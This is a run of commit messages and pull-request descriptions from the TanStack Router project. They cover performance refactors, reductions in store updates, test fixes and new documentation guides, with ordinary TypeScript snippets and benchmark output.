Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
It turns out the 'hover preload, then navigate, w/ async loaders' test
in
`packages/react-router/tests/store-updates-during-navigation.test.tsx`
was sometimes (but very rarely) yielding 16 updates instead of the
expected 15. This PR makes minimal changes to this test so that it's now
reliably 14.
I'm not exactly sure where we lost that 1 update, so we might not be
measuring exactly the same thing. But it's still worth it to have a
robust test suite.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Tests**
* Improved reliability of hover preloading and navigation behavior tests
by introducing realistic loader delays and aligning interaction timing,
reducing flakiness.
* Updated assertions for store updates during navigation to reflect
observed behavior, ensuring more stable and predictable test outcomes.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
Some minor performance improvements in `scroll-restoration.ts`
- in `getCssSelector`:
- we can obtain `indexOf` without creating an empty array through
`Array.prototype.indexOf`
- using `.unshift` in a loop is always bad for performance. To build
arrays in reverse, use `.push()` in the loop, and `.reverse()` at the
end.
- in `restoreScroll`:
- we can early exit without creating an IIFE by using a [labeled
statement](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/label)
- we can avoid creating an array of elements to iterate over since we
already have an array
- in `onScroll`:
- we can avoid accessing the same key twice by using the `||=` operator
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
- New Features
- None
- Bug Fixes
- More reliable scroll restoration after navigation and refresh.
- Improved handling of URL hash anchors for accurate in-page scrolling.
- Consistent scroll-to-top behavior across configured elements.
- Avoids runtime errors when session storage is unavailable or data is
invalid.
- Refactor
- Streamlined scroll handling and state initialization for improved
stability and minor performance gains.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Fix https://github.com/TanStack/router/pull/4971#discussion_r2282953542
With the code now simplified by previous PRs, we noticed that the
`shouldExecuteBeforeLoad` guard is always true, so we can clean it up.
In a follow up PR, we'll revise the conditions under which a
`beforeLoad` should be called or skipped.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Refactor**
* Streamlined pre-load checks and execution flow, reducing branching and
improving consistency across client and server rendering.
* Unified orchestration of the before-load phase to simplify control
flow and improve maintainability.
* **Bug Fixes**
* More reliable handling of redirects and “not found” states during
preloading, preventing unintended execution paths and improving
navigation stability.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Wait for this PR before merging:
https://github.com/TanStack/router/pull/4987. It adds unit tests that
should help make sure we're not breaking anything here.
---
The functions used to serialize and deserialize search params are called
*a lot*, but they are creating many unnecessary objects. This PR
refactors
- `encode` to be only as generic as what we need => in practice we only
need to handle 1 value per key (i.e. `.set()` and not `.append()`) so we
don't need a special case for arrays
- `decode` can avoid creating many arrays
- `stringifySearchWith` (and `defaultStringifySearch`) don't need to
pre-stringify the input into a `<string,string>` dictionary as `encode`
now accepts a stringifier function
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
- Breaking Changes
- Removed encode and decode from React Router and Solid Router public
exports.
- Query string prefix support removed in encode/decode.
- Refactor
- Updated query string handling: arrays encode as comma-separated
values; duplicate keys decode into arrays.
- Streamlined error handling and avoided input mutation; consistent
leading “?” management.
- Tests
- Updated tests to match new encoding/decoding behavior and removed
prefix-related cases.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Just some tests for `defaultParseSearch` and `defaultStringifySearch`,
because they're used a lot and are very public and can handle user
inputs (as in final human users, not devs).
These tests are just documentation of the current behavior.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Tests**
* Added a comprehensive test suite for URL query-string
serialization/deserialization covering empty values, primitives,
complex/nested structures, special characters, circular/self-references,
and unusual inputs (e.g., Number/String objects, Promise, Date).
* Verifies round-trip isomorphism and behavior when parsing externally
sourced or malformed query strings.
* No public API changes and no user-facing changes.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Creating a `URL` object is a little expensive, and we know it's going to
throw if `href` is not a string. So we can skip it entirely in that case
(which is probably most cases?).
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Improved redirect handling to avoid errors when a URL is missing or
invalid.
* Added safeguards to prevent runtime crashes when redirect data is
null.
* Enhanced URL parsing reliability during redirects.
* No changes to public APIs.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
Based on the current usage of `pick`, directly addinf the picked keys to
the objects will be less overhead with the same result.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
- Refactor
- Simplified internal routing logic related to navigation options; no
change to runtime behavior.
- Chores
- Removed an internal utility no longer used.
- Public API
- One non-essential utility export was removed from package entry
points, slightly reducing the public API surface.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
When we can (and it's reasonable), it's always beneficial to reduce the
number of objects we create in JS, so as to minimize the memory pressure
and the GC work.
`buildLocation` gets called pretty often, so removing a few object
allocations can be very beneficial (especially inside loops).
Also, from a purely "immediate performance" point of view,
`Object.assign` tends to be faster than `{...foo}`.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Refactor**
* Route parameter and search handling now use in-place updates to reduce
allocations and streamline iteration/control flow; behavior and public
API remain unchanged.
* **Tests**
* Updated tests to capture cloned parameter objects and assert on exact
values rather than relying on mock call history, preventing
mutation-related flakiness.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
The pattern of copying an array just to `.reverse()` it and iterate it
from the end ends up creating a transient object (a copy of the array)
that needs to be garbage collected.
For example:
```ts
[...array].reverse().find(() => {/*...*/})
```
or
```ts
[...array].reverse().forEach(() => {/*...*/})
```
Instead we can use a regular `for` loop to iterate it from the end. This
will be mostly beneficial in `router-core > router > buildLocation` that
gets called pretty often.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
- **Refactor**
- Improved head metadata processing in React and Solid routers to be
more efficient and readable, reducing work for large route metadata
sets.
- Simplified route matching logic to consistently pick the last relevant
match, improving clarity and maintainability.
- **Chores**
- Added a utility to locate the last list item meeting a condition,
supporting cleaner routing internals.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
some miscellaneous minor optimizations in the `loadMatches` pipeline.
- try and reduce the number of times we call `getMatch`
- ~~`onReady` doesn't need to return a promise (because it's never used
as such)~~
actually some things fail without the artificially added microtask here
- don't create `beforeLoadPromise` if there is no `beforeLoad` option
anyway
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
- Bug Fixes
- Improved NotFound and error handling to prevent unnecessary blocking
and ensure readiness triggers correctly.
- More reliable SSR and preload behavior across route transitions.
- Refactor
- Streamlined route loading with per-route stale-while-revalidate,
reducing redundant work and improving navigation responsiveness.
- Reduced internal lookups and clarified readiness semantics for more
predictable loading states.
- Public API
- onReady callback is now synchronous (no Promise), aligning with
updated readiness flow.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
After the "flattening" PR https://github.com/TanStack/router/pull/4961,
we now have a very clear *separate responsibility* the `Router` class is
handling: loading matches.
This PR proposes we split the code that handles "loading matches" into
its own `load-matches.ts` file, with the entry points being
- `loadMatches`
- `loadRouteChunk`
In future PRs, we might consider splitting other responsibilities out of
the 3k LoC `router.ts` file
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
The `loadMatches` has an unnecessary complicated async setup, probably
due to how complicated the function was before recent cleanups:
```ts
async function loadMatches() {
try {
await new Promise((resolve, reject) => {
;(async () => {
try {
// the logic
resolve()
} catch (err) {
reject(err)
}
})()
})
// after promise
} catch (err) {
// error handling
}
}
```
Aside from some scheduling differences due to unnecessary promises in
the above example, this can be simplified down to this:
```ts
async function loadMatches() {
try {
// the logic
// after promise
} catch (err) {
// error handling
}
}
```
This is what this PR does.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
- New Features
- No user-facing changes.
- Refactor
- Simplified internal async flow for route loading, removing redundant
promise wrapping.
- Maintains existing behavior and public API; no action required from
users.
- More consistent error handling and slightly reduced overhead during
parallel loads.
- Improves maintainability and prepares the codebase for future
enhancements.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
- **Bug Fixes**
- Routing now correctly handles bracketed dynamic segments with multiple
characters in paths. Contents like [userId] are preserved in full (no
longer truncated to a single character), ensuring accurate initial route
generation and consistent navigation behavior for dynamic routes.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
Following https://github.com/TanStack/router/pull/4916,
https://github.com/TanStack/router/pull/4925,
https://github.com/TanStack/router/pull/4926, and
https://github.com/TanStack/router/pull/4928, this PR keeps reducing the
number of store updates (`__store.setState` through `updateMatch`).
We check the values we want to set in the store are *actually different*
from what is already in the store before calling `updateMatch`
---
In the `store-updates-during-navigation` test tracking the number of
executions of a `useRouterState > select` method during a navigation,
our main test case goes from **14 calls** without this PR, to **10
calls** with this PR. Most test cases show significant improvements as
well.
---
Should be a partial improvement of
https://github.com/TanStack/router/issues/4359
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Prevented loss of previously loaded data during navigation when a
loader yields no value.
* Stabilized preloading to avoid redundant updates and unnecessary state
churn.
* Improved loading-state cleanup after navigation, reducing flicker and
inconsistent “fetching” indicators.
* **Performance**
* Reduced unnecessary state updates and re-renders during and after
preloads/loads for smoother navigation.
* **Tests**
* Updated async navigation tests to reflect refined timing and
data-return behavior and added a helper to simulate delayed async
results.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
Following https://github.com/TanStack/router/pull/4916, this PR keeps
reducing the number of store updates (`__store.setState` through
`updateMatch`).
Early bail out of route before load step if `route.options.beforeLoad`
is not defined
---
The `store-updates-during-navigation` test tracking the number of
executions of a `useRouterState > select` method during a navigation
goes from **17 calls** without this PR, to **14 calls** with this PR (or
even 13 calls if `beforeLoad` is synchronous).
---
Should be a partial improvement of
https://github.com/TanStack/router/issues/4359
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Added a not-found helper and router options to configure a default Not
Found component and a default preload strategy.
* **Refactor**
* Streamlined the before-load lifecycle for more deterministic
pending-state updates, earlier pending-timeout readiness, clearer
parameter/search error surfacing, and adjusted context composition;
loader error timing is more conservative.
* **Tests**
* Expanded test coverage with new scenarios (sync before-load, not-found
flow, hover-preload/navigation) and updated navigation update
expectations.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
This PR *should* be a no-op. Just restructuring the code to have all the
functions used by `loadMatches` at the same level, instead of nested
callbacks. In order to still have access to the data that was previously
in scope because of nesting, we use a `innerLoadContext` object, which
is basically just the arguments of `loadMatches`, and a few mutables.
However, in order to do so, we have to rearrange promises in an area
that is sensitive to any microtask order change, and we did change some
of them. So this is not *really* a no-op, even though this does not
attempt any optimization.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
- New Features
- Smoother navigations with predictable pending states and minimum
display durations.
- More consistent head/meta updates after route loading.
- Bug Fixes
- More reliable redirects and 404 handling, including during preloading
and SSR.
- Reduced UI flicker by refining pending and preloading behavior.
- Refactor
- Reworked the routing load pipeline for improved performance,
stability, and SSR behavior.
- Streamlined before-load steps for clearer, more consistent execution.
- Tests
- Updated tests to reflect the new loading flow.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
Following https://github.com/TanStack/router/pull/4916 and
https://github.com/TanStack/router/pull/4925, this PR keeps reducing the
number of store updates (`__store.setState` through `updateMatch`).
Reduce amount of work in `runLoader`:
- don't `updateMatch` to set `isFetching: 'loader'` if we know the
entire function will be synchronous
- don't await `route.options.loader()` if it is synchronous
- don't update store with `loaderData` if `route.options.loader` is not
defined
- don't `await route._lazyPromise` if it has already resolved
- don't `await route._componentsPromise` if it has already resolved
- don't `await minPendingPromise` if it is not defined or has already
resolved
For a sync `loader`, with already loaded route chunks, `runLoader`
should be synchronous and trigger a single `updateMatch` call.
---
The `store-updates-during-navigation` test tracking the number of
executions of a `useRouterState > select` method during a navigation
goes from **19 calls** without this PR, to **17 calls** with this PR.
---
Should be a partial improvement of
https://github.com/TanStack/router/issues/4359
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Minor cleanup of `handleRedirectAndNotFound` in `router-core`. The code
looked like there were 3 possible cases, but `err` is only handled if
it's a redirect or a notFound.
This PR is a no-op, it's just code cleanup without any functional
changes.
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Following https://github.com/TanStack/router/pull/4916, this PR keeps
reducing the number of store updates (`__store.setState` through
`updateMatch`).
We can skip `route.options.head()`, `route.options.scripts()`, and
`route.options.headers()` calls, if they are not defined, and not even
call `updateMatch` after.
Additionally, `head`, `scripts` and `headers` are now called in
parallel. They don't depend on one another, and so there is no reason to
delay their execution by calling them serially.
---
This PR also fixes 2 issues:
- in `cancelMatch`, we were resetting the timeout id to `undefined`
**before** calling `clearTimeout()` with it
- `handleRedirectAndNotFound` is sometimes called w/ `match` being
`undefined` (in case of a redirecting match during preload), which went
undetected because of heavy `match!` assertions, and the many
`try/catch` blocks
---
With this PR, the `redirection in preload` test in
`store-updates-during-navigation` goes from **11 updates** during the
preload to **8 updates**.
---
Should be a partial improvement of
https://github.com/TanStack/router/issues/4359
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
The `store-updates-during-navigation.test.tsx` file tests how many times
`updateMatch` is called during a navigation (i.e. how many times the
store is updated, and all subscribers re-run).
In this PR we clean up this test file to allow us to more easily test
various navigation types. We also add a test for "redirection inside
beforeLoad" whose result will be improved by
https://github.com/TanStack/router/pull/4925
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
- Mark the `global` property of `NotFoundError` as deprecated
- Add a description for `headers`
- Sort the properties in order
Signed-off-by: leesb971204 <leesb971204@gmail.com>
when building the location we are already considering the `basepath` for
the `to` path resolution but we don't do the same for the `from` path.
This PR resolves the `from` path also with the `basepath` so as to
ensure a like for like comparison with `to`.
This PR resolves#4924 and also adds a test to check for this regression
going forward
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
`undefined` is allowed as the parameter of the `...` spread operator. It
is not necessary to create an empty object `{}` as a fallback.
Creating objects incurs more work by the garbage collector, so
minimizing how many are created if a performance improvement.
Some of the properties of a route match in the store do not need to be
reactive (i.e. reactive = trigger the execution of all subscribers when
they change).
This PR proposes we add a `_nonReactive` key for storing these
properties.
Changes to properties in `_nonReactive` can be made like on a regular
object, without the need to call `__store.setState`, and without making
a shallow copy of the object.
The following properties were moved to `_nonReactive` (but more would be
welcome if we can find which ones):
- `beforeLoadPromise`
- `loaderPromise`
- `pendingTimeout`
- `loadPromise`
- `displayPendingPromise`
- `minPendingPromise`
- `dehydrated`
This results in the removal of 4 `updateMatch` calls in `router-core`.
At least 1 of which is in the hot-path of a navigation (`loadMatches` >
`validResolvedMatches.forEach`). And the removal of 2 `updateMatch`
calls in `packages/react-router/src/Match.tsx` (and solid-router too).
The `ssr` property was also updated to not be reactive, but kept outside
of `_nonReactive` because it is part of the public API. This removes
another call to `updateMatch`. This key is an exception, and if in the
future we find a need to have more "public but non-reactive" properties,
we could consider
- hiding internal props in a separate type, or
- adding a dev proxy to ensure non-reactive props aren't accessed inside
`select` functions
---
This PR adds a unit-test in `react-router` that counts how many times
the `select` inside a `useRouterState` hook is called during a
navigation. Without this PR, the result of this test is **26 calls**.
With this PR, we're down to **19 calls**.
---
Should be a partial improvement of
https://github.com/TanStack/router/issues/4359
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
This PR proposes we use the `@internal` JSDoc tag, and `--stripInternal`
typescript compiler option to remove internal keys from the public
`.d.ts` files.
Docs for `stripInternal`:
https://www.typescriptlang.org/tsconfig/#stripInternal
This helps ensuring internal values aren't considered as part of the
*public API surface* by users, allowing us more flexibility in
refactoring.
> [!WARNING]
> This PR proposes we add `stripInternal` to the entire repo, not just
`router-core`. However there are already some values marked as internal
that weren't added by this PR:
> - `InferStructuralSharing` in `react-router`
> - `handleHashScroll` in `router-core > scrollRestoration`
> - many `InferFoo` types in `router-core > typePrimitives`
>
> as a result of this, we might have to switch some of those `@internal`
tags to something else (like `@private` maybe?) because they are, in
fact, necessary for the build to be correct.
Example:
```ts
export type Foo = {
a: number,
/** @internal */
b: number,
}
/** @internal */
export function hello() {
return 'world'
}
export const answer = 42
```
gets compiled as `.d.ts` to
```ts
export type Foo = {
a: number
}
export const answer = 42
```
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
The `start-bare` example includes Tailwind with a broken config (missing
`tailwindcss()` in vite.config.ts plugins), which contradicts the 'bare'
concept. Since `start-tailwind-v4` already provides a properly
configured Tailwind example, this PR removes Tailwind from `start-bare`
to make it actually bare.
When ordering routes to determine "which one will match in priority", we
try to follow the "more specific 1st" principle.
Currently, 2 routes with the same pattern, but with prefixes of
different lengths, are counted as having the same specificity, and thus
are not re-ordered. For example:
- `/f{$param}`
- `/foo{$param}`
In this case, assuming `f{$param}.tsx` is returned 1st by the OS when
listing route files (which it is by alphabetical order), a path
`/foobar` will match `/f{$param}`.
This PR proposes we take the `length` of the `prefix` and `suffix` into
account when sorting routes. In this example this would mean
`/foo{$param}` takes priority because it is considered more specific.
This change is a no-op, even in terms of performance. But it's more of
an "anti-slippery-slope" measure, so we don't end up with array copying
methods like `.map` or `.filter` being used instead of simpler methods
like `.find` or `.some`
`updateMatch` can trigger some heavy synchronous work (it updates the
store, which in turn, will re-run a bunch of things), so it's nice if
itself can avoid doing unnecessary work.
- it doesn't need to return anything, the return value is not used
- it doesn't need to search through the 3 arrays of matches if it found
a result in the 1st or 2nd.
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Use De Morgan's contrapositive to cleanup the return condition of the
`clearExpiredCache` filter function. This should be a no-op and is
mathematically equivalent to what was written before, just more readable
for future refactoring.
`router` > `getMatch` doesn't need to create an array to find the match
by id. This function gets called a lot, so it's better if we can avoid
accumulating short lived objects that need garbage collection when using
it.
Add 'Navigate with Search Parameters' how-to guide covering various
navigation methods for search parameters.
This guide details how to update and manage search parameters using both
Link components and programmatic navigation (`useNavigate`, router
instance). It covers basic and functional updates, navigation with route
changes, advanced patterns like conditional navigation and validation,
common UI patterns (search results, filters, breadcrumbs), and addresses
common problems like losing parameters or serialization issues.
---
[Open in
Web](https://cursor.com/agents?id=bc-38c6eb35-f409-43fc-ac4c-323097fb478b)
• [Open in
Cursor](https://cursor.com/background-agent?bcId=bc-38c6eb35-f409-43fc-ac4c-323097fb478b)
• [Open Docs](https://docs.cursor.com/background-agent/web-and-mobile)
---------
Co-authored-by: Cursor Agent <cursoragent@cursor.com>
With discussions with @schiller-manuel and the amount of time this issue
has been brought up on Discord, I feel adding precisions and more
explicit examples on how to deal with runtime env variables on the
client could help.
---------
Co-authored-by: Tanner Linsley <tannerlinsley@gmail.com>
## 🎯 Changes
- Update Prettier and use experimental CLI
- Update Nx to v21
- Fix bug in test exposed by new prettier version
- Sync issues template
## ✅ Checklist
- [x] I have followed the steps listed in the [Contributing
guide](https://github.com/TanStack/config/blob/main/CONTRIBUTING.md).
- [x] I have tested and linted this code locally.
Add a comprehensive migration guide from React Router v7 to TanStack
Router, addressing feedback to target the latest version.
The original PR #4704 aimed to provide a migration guide from React
Router v6. However, a comment from schiller-manuel questioned why v6 was
targeted instead of v7. This PR updates the scope to focus on React
Router v7, which was released in November 2024 and is the current
version, ensuring the guide is relevant for users migrating from the
latest React Router.
---
[Open in
Web](https://cursor.com/agents?id=bc-035967dd-2396-4ba3-9226-f0bfd1c21f11)
• [Open in
Cursor](https://cursor.com/background-agent?bcId=bc-035967dd-2396-4ba3-9226-f0bfd1c21f11)
Learn more about [Background
Agents](https://docs.cursor.com/background-agent/web-and-mobile)
---------
Co-authored-by: Cursor Agent <cursoragent@cursor.com>
Add a comprehensive "How to Set Up Server-Side Rendering (SSR)" guide to
provide practical, step-by-step instructions and address feedback from
PR #4703.
The previous PR #4703 aimed to add an SSR setup guide but had concerns
regarding overlap with an existing conceptual SSR guide and specific
technical implementation details (e.g., streaming SSR, Vite config).
This PR addresses those concerns by creating a distinct, practical
"how-to" guide with complete code examples, troubleshooting, and a clear
recommendation for TanStack Start, while ensuring it complements the
existing theoretical guide.
---
[Open in
Web](https://cursor.com/agents?id=bc-8555f196-638f-4bec-90a4-5eac52b5918a)
• [Open in
Cursor](https://cursor.com/background-agent?bcId=bc-8555f196-638f-4bec-90a4-5eac52b5918a)
Learn more about [Background
Agents](https://docs.cursor.com/background-agent/web-and-mobile)
Co-authored-by: Cursor Agent <cursoragent@cursor.com>
This PR is simply adding unit test to the existing `matchByPath`
function.
However, it does highlight some weird cases / bugs:
- this test passes OK, I'm just wondering whether that's a real case
that can happen (in which case the test is good to keep) or if it's just
accidental
```ts
expect(matchByPath('/', '/a/1/b/2', { to: '/a/$id/b/$id' })).toEqual({
id: '2' })
```
- this test passes OK, I'm just a little surprised that it includes a
`/` char, because *any other* case does not
```ts
expect(matchByPath('/', '/a/', { to: '/a/$' })).toEqual({ _splat: '/',
'*': '/' })
```
- this does NOT work, it seems like a bug with the recent optional
params
```ts
expect(matchByPath('/', '/a/b', { to: '/A/{-$id}/B', caseSensitive:
false })).toEqual({})
expect(matchByPath('/', '/a/b/2', { to: '/A/{-$id}/B/{-$other}',
caseSensitive: false })).toEqual({ other: '2' })
expect(matchByPath('/', '/a/b', { to: '/A/{-$id}/B/{-$other}',
caseSensitive: false })).toEqual({})
```
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
We noticed that `parsePathname` is a performance bottleneck during
navigation events. Here's a flamegraph from an application w/ ~300
routes around a navigation event:
<img width="853" height="372" alt="Screenshot 2025-07-22 at 19 36 24"
src="https://github.com/user-attachments/assets/7ed2e09a-8ea9-4170-862a-2d53c3eb4793"
/>
This PR proposes a basic least-recently-used cache implementation (that
data structure is about 4-5x slower than a `Map` according to
benchmarks, and it uses a little more memory).
We can add caching to `parsePathname` now that what it returns is
readonly (https://github.com/TanStack/router/pull/4705), which should
improve the performance of this bottleneck.
The cache is set to a size of 1000. When / if we end up making a
pre-built matcher (WIP https://github.com/TanStack/router/pull/4714), we
maybe can reduce this size. But `parsePathname` is still called w/ built
pathnames so we probably shouldn't remove the cache entirely.
When benchmarking `matchPathname` with and without the cache, we notice
a ~9x increase in throughput with the cache.
```
✓ @tanstack/router-core tests/cache.bench.ts > cache.bench 7191ms
name hz min max mean p75 p99 p995 p999 rme samples
· original 1,795.61 0.5055 0.7022 0.5569 0.5604 0.6234 0.6464 0.7022 ±0.22% 898
· cached 16,307.87 0.0562 0.2294 0.0613 0.0608 0.0767 0.1007 0.1152 ±0.17% 8154 fastest
BENCH Summary
@tanstack/router-core cached - tests/cache.bench.ts > cache.bench
9.08x faster than original
```
Assuming this 9x increase translates to a proportional reduction of the
self-time seen in the flamegraph, it would go from 55ms to 6ms.
Following up on https://github.com/TanStack/router/pull/4747
Implementation by @schiller-manuel
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
We can improve perf of this function *that gets called a lot* by not
grouping the entire string, and only removing the trailing slash.
The entire string is returned by `.replace()`, so we don't ned the group
```
> "/foo/bar/".replace(/\/$/, '')
'/foo/bar'
```
Doing so, we get ~6x performance out of it.
```
✓ @tanstack/router-core tests/other.bench.ts > comparePaths 2183ms
name hz min max mean p75 p99 p995 p999 rme samples
· oldComparePaths 1,300,774.12 0.0006 0.8563 0.0008 0.0008 0.0010 0.0010 0.0017 ±0.35% 650388
· newComparePaths 7,773,004.63 0.0000 0.2112 0.0001 0.0001 0.0002 0.0002 0.0004 ±0.14% 3886503 fastest
BENCH Summary
@tanstack/router-core newComparePaths - tests/other.bench.ts > comparePaths
5.98x faster than oldComparePaths
```
A lot of our e2e tests are querying external endpoints like
[typicode.com](https://jsonplaceholder.typicode.com) or
[example.com](https://example.com)
This is not ideal as it makes the e2e tests beholden to external factors
for example unavailability or rate limiting of these endpoints.
This PR addresses this by starting and stopping a local dummy server for
each test that needs to query external endpoints and mocks the results.
The setup and teardown have been implemented on each test package
individually so as to allow custom requirements where needed.
---------
Co-authored-by: Sean Cassiere <33615041+SeanCassiere@users.noreply.github.com>
Using integers instead of strings when possible is always better for
performance. It uses less memory, and enables faster comparisons.
This is also preparatory work for a build-time `parsePathname` as it
will result in a smaller output (though once gzipped it might not make a
difference in downloaded kB in the end).
`parsePathname` should return a `ReadonlyArray` instead of `Array`, and
`Segment` should be `readonly` too. This is because if we want to
improve perf by either caching at runtime or pre-computing routes at
build time, we need to ensure those objects can't be manipulated.
An unrelated change in this PR is also to move some inline functions to
module-scoped functions: `segmentToString` (from `resolvePath`) and
`isMatch` (from `matchByPath`). Those functions are in the hot path so
it's nice if the runtime compiler can promote them to optimized
functions.
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
<!-- One very short sentence on the WHAT and WHY of the PR. E.g. "Remove
pathHash attribute because it is confirmed unused." or "Add DNS round
robin to improve load distribution." -->
Add a comprehensive how-to guide for deploying TanStack Router to
production and establish a multi-PR process for future documentation.
---------
Co-authored-by: Cursor Agent <cursoragent@cursor.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Fixes#4673
I a bit simplified the `UseLinkReactProps` to make more use of typing
from React (and this simplification just fixes the bug)
Also added a test to check that the bug is no longer reproduced
Add new 'How-To' documentation section for React with a terse
installation guide to provide bite-sized, task-oriented instructions.
This new section aims to provide extremely concise, step-by-step
instructions for common tasks, making it easier for users and AI to
quickly find and follow specific procedures. Existing guides that
previously contained detailed installation steps now reference this new,
focused how-to guide to avoid content duplication and improve
discoverability.
---------
Co-authored-by: Cursor Agent <cursoragent@cursor.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Add documentation for prefix-based internationalization (i18n) using
Optional Path Parameters.
This PR adds a comprehensive guide on implementing i18n patterns,
covering:
- Prefix-based i18n routing (e.g., `/{-$locale}/about`)
- Complex i18n patterns with multiple optional parameters
- Language navigation using function-style `params` for `Link`
components
- Advanced i18n with route groups
- SEO best practices (canonical URLs, hreflang)
- Type safety for locale validation
---------
Co-authored-by: Cursor Agent <cursoragent@cursor.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
This PR addresses some flaky tests in the redirect e2e tests for
react-start and solid start.
Specifically, when testing external redirects use useServerFn it was
trying to reach out to http://example.com. This updates it to redirect
to the local dummy server.
This is a follow on from #4653
This PR resolves flaky E2E tests caused by port collisions when running
tests in parallel.
Instead of deriving ports from package names (which can collide), this
new approach assigns a random, available port to each test server
instance.
Key Changes:
- Random Port Allocation: Each test server (Playwright, dummy servers)
gets a unique, random port at startup.
- File-based Sync: The server writes its assigned port to a port.txt
file in its test project directory, this is kept unique through using
the package name or another input string for the file name.
- Test Runner Sync: The test runner reads the port from that file to
build the correct URL.
- Automatic Cleanup: All port files are deleted at the start of each
test:e2e run to ensure fresh ports.
Local parallel runs (up to 10) have shown this to be stable and free of
collisions.
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Sean Cassiere <33615041+SeanCassiere@users.noreply.github.com>
Co-authored-by: Manuel Schiller <manuel.schiller@caligano.de>
Co-authored-by: Indrek Ardel <indrek@ardel.eu>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
There's absolutely no reason not to use TanStack Start for purely static
sites - it works great, and it means that if you then want to transition
a codebase to being dynamically SSR, it requires zero work!
Added a note on using the `enableBeforeUnload` option in `useBlocker` +
example in the "Component-based blocking" section.
@schiller-manuel I wasn't sure if there should be an entire section for
this or just a note with 1-2 examples in the existing sections (I did
the latter).
Also thanks for pushing me to contribute even if it's a small one :)
Fixes#4599
# Previous behavior
```
$param
(group)
route.tsx
index.tsx
```
when router-generator processes the `route.tsx` node, the `split`
variable
8df504c3a4/packages/router-generator/src/generator.ts (L1258)
will be `[ '$param', '(group)' ]`, and because the last part is a group
8df504c3a4/packages/router-generator/src/generator.ts (L1263)
the whole route will be generated as pathless, i.e.
```ts
const IndexRoute = IndexRouteImport.update({
id: '/',
path: '/',
getParentRoute: () => rootRouteImport,
} as any)
const ParamgroupRouteRoute = ParamgroupRouteRouteImport.update({
id: '/$param/(group)',
////////////////
path: '/$param/', // <---- This will NOT be here without the fix
////////////////
getParentRoute: () => rootRouteImport,
} as any)
